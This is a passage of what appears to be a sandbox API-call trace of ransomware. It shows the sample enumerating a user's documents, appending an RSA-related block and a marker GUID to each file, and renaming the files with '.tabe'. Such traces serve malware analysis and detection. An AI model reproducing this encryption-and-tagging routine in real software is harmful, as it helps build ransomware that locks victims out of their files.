hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.308] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.308] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x74e6, lpOverlapped=0x0) returned 1 [0127.309] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.309] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.309] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.309] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d08) returned 1 [0127.310] CryptCreateHash (in: hProv=0x866d08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.310] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.310] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.310] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.310] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.310] CryptReleaseContext (hProv=0x866d08, dwFlags=0x0) returned 1 [0127.310] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.310] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.310] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.310] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.311] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.311] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.311] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.311] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.311] CloseHandle (hObject=0x618) returned 1 [0127.312] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.tabe")) returned 1 [0127.313] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0127.313] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.313] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.313] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.313] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\") returned="2Y7bkGdlV xSV8hevV3C\\" [0127.313] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\") returned="wbRZ\\" [0127.313] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.313] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.313] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.313] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.313] PathFindFileNameW (pszPath="") returned="" [0127.313] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e18e1e0, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x7c192100, ftLastAccessTime.dwHighDateTime=0x1d5e28f, ftLastWriteTime.dwLowDateTime=0x7c192100, ftLastWriteTime.dwHighDateTime=0x1d5e28f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.315] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e18e1e0, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x7c192100, ftLastAccessTime.dwHighDateTime=0x1d5e28f, ftLastWriteTime.dwLowDateTime=0x7c192100, ftLastWriteTime.dwHighDateTime=0x1d5e28f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.315] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419023d0, ftCreationTime.dwHighDateTime=0x1d5e0dc, ftLastAccessTime.dwLowDateTime=0xc662b210, ftLastAccessTime.dwHighDateTime=0x1d5de04, ftLastWriteTime.dwLowDateTime=0xc662b210, ftLastWriteTime.dwHighDateTime=0x1d5de04, nFileSizeHigh=0x0, nFileSizeLow=0x1675b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8yNXf6f8cZh3P2xTX.pptx", cAlternateFileName="8YNXF6~1.PPT")) returned 1 [0127.315] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\8yNXf6f8cZh3P2xTX.pptx") returned=".pptx" [0127.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\8yNXf6f8cZh3P2xTX.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\8ynxf6f8czh3p2xtx.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.316] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=91995) returned 1 [0127.316] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.317] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16735, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.317] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.320] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1675b, lpOverlapped=0x0) returned 1 [0127.320] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.320] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.320] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.321] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.321] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.321] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.321] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.321] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.321] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.321] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.322] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.322] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.322] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.322] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.322] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1675b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.322] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.323] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.323] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.323] CloseHandle (hObject=0x618) returned 1 [0127.324] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\8yNXf6f8cZh3P2xTX.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\8ynxf6f8czh3p2xtx.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\8yNXf6f8cZh3P2xTX.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\8ynxf6f8czh3p2xtx.pptx.tabe")) returned 1 [0127.325] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40755080, ftCreationTime.dwHighDateTime=0x1d5e2f6, ftLastAccessTime.dwLowDateTime=0x70752f70, ftLastAccessTime.dwHighDateTime=0x1d5e0b8, ftLastWriteTime.dwLowDateTime=0x70752f70, ftLastWriteTime.dwHighDateTime=0x1d5e0b8, nFileSizeHigh=0x0, nFileSizeLow=0x143f2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="b1Ma0jV8J-VkaTp5.xlsx", cAlternateFileName="B1MA0J~1.XLS")) returned 1 [0127.325] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\b1Ma0jV8J-VkaTp5.xlsx") returned=".xlsx" [0127.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\b1Ma0jV8J-VkaTp5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\b1ma0jv8j-vkatp5.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.326] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=82930) returned 1 [0127.326] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.327] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x143cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.327] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.329] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x143f2, lpOverlapped=0x0) returned 1 [0127.329] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.329] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.329] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.329] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.330] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.330] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.330] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.330] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.330] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.330] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.330] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.330] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.330] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.331] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.331] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x143f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.331] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.331] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.331] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.331] CloseHandle (hObject=0x618) returned 1 [0127.333] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\b1Ma0jV8J-VkaTp5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\b1ma0jv8j-vkatp5.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\b1Ma0jV8J-VkaTp5.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\b1ma0jv8j-vkatp5.xlsx.tabe")) returned 1 [0127.335] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f382cf0, ftCreationTime.dwHighDateTime=0x1d5db3e, ftLastAccessTime.dwLowDateTime=0xd163a330, ftLastAccessTime.dwHighDateTime=0x1d5dee6, ftLastWriteTime.dwLowDateTime=0xd163a330, ftLastWriteTime.dwHighDateTime=0x1d5dee6, nFileSizeHigh=0x0, nFileSizeLow=0x13954, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="DANH0 bekYVtTP54.doc", cAlternateFileName="DANH0B~1.DOC")) returned 1 [0127.335] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\DANH0 bekYVtTP54.doc") returned=".doc" [0127.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\DANH0 bekYVtTP54.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\danh0 bekyvttp54.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.335] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=80212) returned 1 [0127.335] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.336] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1392e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.336] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.338] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x13954, lpOverlapped=0x0) returned 1 [0127.338] lstrlenA (lpString="-----BEGIN PUBLIC 